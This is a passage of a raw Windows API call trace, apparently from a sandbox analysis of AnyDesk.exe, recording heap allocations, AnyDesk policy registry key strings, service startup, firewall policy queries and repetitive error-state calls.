Flags=0x0, Size=0x2) returned 0xe374e8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374f8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37508 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37518 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37528 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37538 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37548 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37558 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37568 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37578 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37588 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37598 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe375a8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe375b8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe375c8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe375d8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe375e8 [0190.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe375f8 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37608 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37618 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37628 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37638 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37648 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37658 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37668 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37678 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37688 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37698 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe376a8 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe376b8 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe376c8 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe376d8 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe376e8 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe376f8 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37708 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37718 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37728 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37738 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37748 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37758 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37768 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a10 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a20 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a30 [0190.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a40 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a50 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a60 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a70 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a80 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47a90 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47aa0 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47ab0 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47ac0 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47ad0 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47ae0 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47af0 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b00 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b10 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b20 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b30 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b40 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b50 [0190.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17048, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0190.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f718 [0190.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17048, cbMultiByte=-1, lpWideCharStr=0xe2f718, cchWideChar=34 | out: lpWideCharStr="Software\\Policies\\AnyDesk\\Config\\") returned 34 [0190.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0190.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe47b60 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe47b60, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0190.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe47b70 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe47b70, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0190.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b70 | out: hHeap=0x3b0000) returned 1 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17078, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0190.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe0be48 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17078, cbMultiByte=-1, lpWideCharStr=0xe0be48, cchWideChar=9 | out: lpWideCharStr="Defaults") returned 9 [0190.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe15e40 [0190.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0be48 | out: hHeap=0x3b0000) returned 1 [0190.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37488 | out: hHeap=0x3b0000) returned 1 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17048, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0190.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f718 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17048, cbMultiByte=-1, lpWideCharStr=0xe2f718, cchWideChar=34 | out: lpWideCharStr="Software\\Policies\\AnyDesk\\Config\\") returned 34 [0190.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0190.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe37488 [0190.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe37488, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0190.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0190.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe47b60 [0190.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe47b60, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0190.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a1706c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0190.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0be48 [0190.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a1706c, cbMultiByte=-1, lpWideCharStr=0xe0be48, cchWideChar=10 | out: lpWideCharStr="Overrides") returned 10 [0190.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe15d80 [0190.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0be48 | out: hHeap=0x3b0000) returned 1 [0190.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37488 | out: hHeap=0x3b0000) returned 1 [0190.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe374a8 | out: hHeap=0x3b0000) returned 1 [0190.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe374b8 | out: hHeap=0x3b0000) returned 1 [0190.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33108 [0190.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c24c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0190.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32f58 [0190.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c24c8, cbMultiByte=-1, lpWideCharStr=0xe32f58, cchWideChar=20 | out: lpWideCharStr="ad.features.connect") returned 20 [0190.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32f28 [0190.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32fb8 [0190.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0be48 [0190.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33018 [0190.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32fb8 | out: hHeap=0x3b0000) returned 1 [0190.825] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f58 | out: hHeap=0x3b0000) returned 1 [0190.825] GetTickCount () returned 0x1880111 [0190.825] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d8 [0190.826] StartServiceCtrlDispatcherW (lpServiceTable=0x326350*(lpServiceName="", lpServiceProc=0x100b200)) Thread: id = 450 os_tid = 0x9fc Thread: id = 451 os_tid = 0xa00 [0189.912] OleInitialize (pvReserved=0x0) returned 0x0 [0189.913] SetEvent (hEvent=0x178) returned 1 [0189.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0eda0 [0189.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0ed90 [0189.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0edb0 [0189.953] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdfdc80, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0189.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edb0 | out: hHeap=0x3b0000) returned 1 [0189.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe193c0 [0189.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe30678 [0189.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eda0 | out: hHeap=0x3b0000) returned 1 [0189.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0bb28 [0189.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ed90 | out: hHeap=0x3b0000) returned 1 [0189.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0189.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14898 [0189.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0xe14898, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0189.953] CoCreateInstance (in: rclsid=0x15d12d4*(Data1=0x304ce942, Data2=0x6e39, Data3=0x40d8, Data4=([0]=0x94, [1]=0x3a, [2]=0xb9, [3]=0x13, [4]=0xc4, [5]=0xc, [6]=0x9c, [7]=0xd4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x15d12b4*(Data1=0xf7898af5, Data2=0xcac4, Data3=0x4632, Data4=([0]=0xa2, [1]=0xec, [2]=0xda, [3]=0x6, [4]=0xe5, [5]=0x11, [6]=0x1a, [7]=0xf2)), ppv=0xdffc68 | out: ppv=0xdffc68*=0x7cf888) returned 0x0 [0200.189] NetFwMgr:INetFwMgr:get_LocalPolicy (in: This=0x7cf888, LocalPolicy=0xdffc58 | out: LocalPolicy=0xdffc58*=0x7cf8a8) returned 0x0 [0200.191] INetFwPolicy:GetProfileByType (in: This=0x7cf8a8, profileType=1, profile=0xdffc5c | out: profile=0xdffc5c*=0x2441a90) returned 0x0 [0200.191] INetFwPolicy:GetProfileByType (in: This=0x7cf8a8, profileType=2, profile=0xdffc60 | out: profile=0xdffc60*=0x2442160) returned 0x0 [0200.215] INetFwPolicy:GetProfileByType (in: This=0x7cf8a8, profileType=0, profile=0xdffc64 | out: profile=0xdffc64*=0x7cf8c8) returned 0x0 [0200.215] NetFwMgr:IUnknown:Release (This=0x7cf8a8) returned 0x1 [0200.215] NetFwMgr:IUnknown:Release (This=0x7cf888) returned 0x0 [0200.215] GetLastError () returned 0x0 [0200.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x400) returned 0xe5bef8 [0200.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x13) returned 0xe0bda8 [0200.216] GetLastError () returned 0x0 [0200.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x214) returned 0xe4dee8 [0200.216] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0200.217] GetCurrentThreadId () returned 0xa00 [0200.217] SetLastError (dwErrCode=0x0) [0200.217] GetLastError () returned 0x0 [0200.217] SetLastError (dwErrCode=0x0) [0200.217] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0200.217] GetSystemTime (in: lpSystemTime=0xdffc20 | out: lpSystemTime=0xdffc20*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x35d)) [0200.217] GetCurrentThreadId () returned 0xa00 [0200.218] GetCurrentProcessId () returned 0x994 [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.218] SetLastError (dwErrCode=0x0) [0200.218] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.219] GetLastError () returned 0x0 [0200.219] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.220] SetLastError (dwErrCode=0x0) [0200.220] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.221] SetLastError (dwErrCode=0x0) [0200.221] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.222] SetLastError (dwErrCode=0x0) [0200.222] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.223] SetLastError (dwErrCode=0x0) [0200.223] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.224] SetLastError (dwErrCode=0x0) [0200.224] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.225] GetLastError () returned 0x0 [0200.225] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.226] SetLastError (dwErrCode=0x0) [0200.226] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.227] GetLastError () returned 0x0 [0200.227] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.228] GetLastError () returned 0x0 [0200.228] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.229] SetLastError (dwErrCode=0x0) [0200.229] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] GetLastError () returned 0x0 [0200.230] SetLastError (dwErrCode=0x0) [0200.230] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27a4 [0200.231] WriteFile (in: hFile=0x144, lpBuffer=0xdff32c*, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0xdffc58, lpOverlapped=0x0 | out: lpBuffer=0xdff32c*, lpNumberOfBytesWritten=0xdffc58*=0x88, lpOverlapped=0x0) returned 1 [0200.231] ReleaseMutex (hMutex=0xd8) returned 1 [0200.231] CoCreateInstance (in: rclsid=0x15d12c4*(Data1=0xec9846b3, Data2=0x2762, Data3=0x4a6b, Data4=([0]=0xa2, [1]=0x14, [2]=0x6a, [3]=0xcb, [4]=0x60, [5]=0x34, [6]=0x62, [7]=0xd2)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x15d12a4*(Data1=0xb5e64ffa, Data2=0xc2c5, Data3=0x444e, Data4=([0]=0xa3, [1]=0x1, [2]=0xfb, [3]=0x5e, 